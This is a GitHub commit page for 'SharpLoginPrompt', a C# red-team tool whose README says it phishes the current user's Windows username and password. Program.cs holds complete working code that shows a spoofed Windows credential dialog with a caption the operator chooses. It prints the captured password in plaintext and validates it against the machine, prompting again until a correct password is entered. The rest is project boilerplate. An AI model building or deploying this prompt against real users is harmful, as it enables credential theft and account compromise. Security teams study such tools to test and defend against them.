Skip to content

Commit 18b1dfa

Browse files
author
Khandelwal
committed
first commit
0 parents  commit 18b1dfa

File tree

7 files changed

+244
-0
lines changed

7 files changed

+244
-0
lines changed

.vs/SharpLoginPrompt/v15/.suo

25.5 KB
Binary file not shown.

README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
# SharpLoginPrompt
2+
3+
This Program creates a login prompt to gather username and password of the current user. This project allows red team to phish username and password of the current user without touching lsass and having adminitrator credentials on the system.
4+
5+
#Usage
6+
run <SharpLoginPrompt.exe> to launch it with default settings
7+
8+
run <SharpLoginPrompt.exe "This is heading" "This is subheading"> to customize the login prompt

SharpLoginPrompt.sln

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio 15
4+
VisualStudioVersion = 15.0.28307.271
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpLoginPrompt", "SharpLoginPrompt\SharpLoginPrompt.csproj", "{C12E69CD-78A0-4960-AF7E-88CBD794AF97}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|Any CPU = Debug|Any CPU
11+
Release|Any CPU = Release|Any CPU
12+
EndGlobalSection
13+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
14+
{C12E69CD-78A0-4960-AF7E-88CBD794AF97}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15+
{C12E69CD-78A0-4960-AF7E-88CBD794AF97}.Debug|Any CPU.Build.0 = Debug|Any CPU
16+
{C12E69CD-78A0-4960-AF7E-88CBD794AF97}.Release|Any CPU.ActiveCfg = Release|Any CPU
17+
{C12E69CD-78A0-4960-AF7E-88CBD794AF97}.Release|Any CPU.Build.0 = Release|Any CPU
18+
EndGlobalSection
19+
GlobalSection(SolutionProperties) = preSolution
20+
HideSolutionNode = FALSE
21+
EndGlobalSection
22+
GlobalSection(ExtensibilityGlobals) = postSolution
23+
SolutionGuid = {4FD946E1-0FF2-405D-B247-CA1B920231C5}
24+
EndGlobalSection
25+
EndGlobal

SharpLoginPrompt/Program.cs

Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
using System;
2+
using System.Net;
3+
using System.DirectoryServices.AccountManagement;
4+
using System.Runtime.InteropServices;
5+
using System.Text;
6+
7+
namespace SharpLoginPrompt
8+
{
9+
class Program
10+
{
11+
12+
[DllImport("ole32.dll")]
13+
public static extern void CoTaskMemFree(IntPtr ptr);
14+
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
15+
private struct CREDUI_INFO
16+
{
17+
public int cbSize;
18+
public IntPtr hwndParent;
19+
public string pszMessageText;
20+
public string pszCaptionText;
21+
public IntPtr hbmBanner;
22+
}
23+
[DllImport("credui.dll", CharSet = CharSet.Auto)]
24+
private static extern int CredUIPromptForWindowsCredentials(ref CREDUI_INFO notUsedHere,
25+
int authError,
26+
ref uint authPackage,
27+
IntPtr InAuthBuffer,
28+
uint InAuthBufferSize,
29+
out IntPtr refOutAuthBuffer,
30+
out uint refOutAuthBufferSize,
31+
ref bool fSave,
32+
int flags);
33+
[DllImport("credui.dll", CharSet = CharSet.Auto)]
34+
private static extern bool CredUnPackAuthenticationBuffer(int dwFlags,
35+
IntPtr pAuthBuffer,
36+
uint cbAuthBuffer,
37+
StringBuilder pszUserName,
38+
ref int pcchMaxUserName,
39+
StringBuilder pszDomainName,
40+
ref int pcchMaxDomainame,
41+
StringBuilder pszPassword,
42+
ref int pcchMaxPassword);
43+
44+
45+
46+
static void Main(string[] args)
47+
{
48+
bool passwordOk = false;
49+
while (passwordOk != true)
50+
{
51+
52+
CREDUI_INFO credui = new CREDUI_INFO();
53+
credui.pszCaptionText = args.Length ==2 ? args[0]:"Please enter the credentials";
54+
credui.pszMessageText = args.Length == 2 ? args[1] : "Domain: " + (Environment.GetEnvironmentVariable("USERDOMAIN").ToString() ?? Environment.GetEnvironmentVariable("HOSTNAME").ToString());
55+
credui.cbSize = Marshal.SizeOf(credui);
56+
IntPtr outCredBuffer = new IntPtr();
57+
uint outCredSize;
58+
bool save = false;
59+
uint authPackage = 0;
60+
61+
int result = CredUIPromptForWindowsCredentials(ref credui,
62+
0,
63+
ref authPackage,
64+
IntPtr.Zero,
65+
0,
66+
out outCredBuffer,
67+
out outCredSize,
68+
ref save,
69+
0x1
70+
71+
/* Generic */);
72+
var usernameBuf = new StringBuilder(100);
73+
var passwordBuf = new StringBuilder(100);
74+
var domainBuf = new StringBuilder(100);
75+
76+
int maxUserName = 100;
77+
int maxDomain = 100;
78+
int maxPassword = 100;
79+
if (result == 0)
80+
{
81+
if (CredUnPackAuthenticationBuffer(0, outCredBuffer, outCredSize, usernameBuf, ref maxUserName,
82+
domainBuf, ref maxDomain, passwordBuf, ref maxPassword))
83+
{
84+
CoTaskMemFree(outCredBuffer);
85+
NetworkCredential networkCredential = new NetworkCredential()
86+
{
87+
UserName = usernameBuf.ToString(),
88+
Password = passwordBuf.ToString(),
89+
Domain = domainBuf.ToString()
90+
91+
92+
};
93+
Console.WriteLine("Username = " + networkCredential.UserName);
94+
Console.WriteLine("Password = " + networkCredential.Password);
95+
Console.WriteLine("Doamain = " + networkCredential.Domain);
96+
string userName;
97+
if (networkCredential.UserName.ToString().Contains("\\"))
98+
{
99+
userName = networkCredential.UserName.ToString();
100+
}
101+
else
102+
{
103+
userName = (Environment.GetEnvironmentVariable("USERDOMAIN").ToString() ?? Environment.GetEnvironmentVariable("HOSTNAME").ToString()) + "\\" + networkCredential.UserName.ToString();
104+
}
105+
Console.WriteLine(userName);
106+
try
107+
{
108+
PrincipalContext pcon = new PrincipalContext(ContextType.Machine, Environment.MachineName);
109+
passwordOk = pcon.ValidateCredentials(userName, networkCredential.Password);
110+
Console.WriteLine(passwordOk);
111+
}
112+
catch (System.DirectoryServices.AccountManagement.PrincipalOperationException)
113+
{
114+
passwordOk = false;
115+
Console.WriteLine("Trying Again");
116+
}
117+
118+
119+
}
120+
}
121+
}
122+
}
123+
}
124+
}
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
using System.Reflection;
2+
using System.Runtime.CompilerServices;
3+
using System.Runtime.InteropServices;
4+
5+
// General Information about an assembly is controlled through the following
6+
// set of attributes. Change these attribute values to modify the information
7+
// associated with an assembly.
8+
[assembly: AssemblyTitle("SharpLoginPrompt")]
9+
[assembly: AssemblyDescription("")]
10+
[assembly: AssemblyConfiguration("")]
11+
[assembly: AssemblyCompany("")]
12+
[assembly: AssemblyProduct("SharpLoginPrompt")]
13+
[assembly: AssemblyCopyright("Copyright © 2019")]
14+
[assembly: AssemblyTrademark("")]
15+
[assembly: AssemblyCulture("")]
16+
17+
// Setting ComVisible to false makes the types in this assembly not visible
18+
// to COM components. If you need to access a type in this assembly from
19+
// COM, set the ComVisible attribute to true on that type.
20+
[assembly: ComVisible(false)]
21+
22+
// The following GUID is for the ID of the typelib if this project is exposed to COM
23+
[assembly: Guid("c12e69cd-78a0-4960-af7e-88cbd794af97")]
24+
25+
// Version information for an assembly consists of the following four values:
26+
//
27+
// Major Version
28+
// Minor Version
29+
// Build Number
30+
// Revision
31+
//
32+
// You can specify all the values or you can default the Build and Revision Numbers
33+
// by using the '*' as shown below:
34+
// [assembly: AssemblyVersion("1.0.*")]
35+
[assembly: AssemblyVersion("1.0.0.0")]
36+
[assembly: AssemblyFileVersion("1.0.0.0")]

SharpLoginPrompt/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
"# SharpLoginPrompt"
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
4+
<PropertyGroup>
5+
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
6+
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
7+
<ProjectGuid>{C12E69CD-78A0-4960-AF7E-88CBD794AF97}</ProjectGuid>
8+
<OutputType>Exe</OutputType>
9+
<RootNamespace>SharpLoginPrompt</RootNamespace>
10+
<AssemblyName>SharpLoginPrompt</AssemblyName>
11+
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
12+
<FileAlignment>512</FileAlignment>
13+
<Deterministic>true</Deterministic>
14+
</PropertyGroup>
15+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
16+
<PlatformTarget>AnyCPU</PlatformTarget>
17+
<DebugSymbols>true</DebugSymbols>
18+
<DebugType>full</DebugType>
19+
<Optimize>false</Optimize>
20+
<OutputPath>bin\Debug\</OutputPath>
21+
<DefineConstants>DEBUG;TRACE</DefineConstants>
22+
<ErrorReport>prompt</ErrorReport>
23+
<WarningLevel>4</WarningLevel>
24+
</PropertyGroup>
25+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
26+
<PlatformTarget>AnyCPU</PlatformTarget>
27+
<DebugType>pdbonly</DebugType>
28+
<Optimize>true</Optimize>
29+
<OutputPath>bin\Release\</OutputPath>
30+
<DefineConstants>TRACE</DefineConstants>
31+
<ErrorReport>prompt</ErrorReport>
32+
<WarningLevel>4</WarningLevel>
33+
</PropertyGroup>
34+
<ItemGroup>
35+
<Reference Include="System" />
36+
<Reference Include="System.Core" />
37+
<Reference Include="System.DirectoryServices" />
38+
<Reference Include="System.DirectoryServices.AccountManagement" />
39+
<Reference Include="System.Xml.Linq" />
40+
<Reference Include="System.Data.DataSetExtensions" />
41+
<Reference Include="Microsoft.CSharp" />
42+
<Reference Include="System.Data" />
43+
<Reference Include="System.Xml" />
44+
</ItemGroup>
45+
<ItemGroup>
46+
<Compile Include="Program.cs" />
47+
<Compile Include="Properties\AssemblyInfo.cs" />
48+
</ItemGroup>
49+
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
50+
</Project>

0 commit comments

Comments
 (0)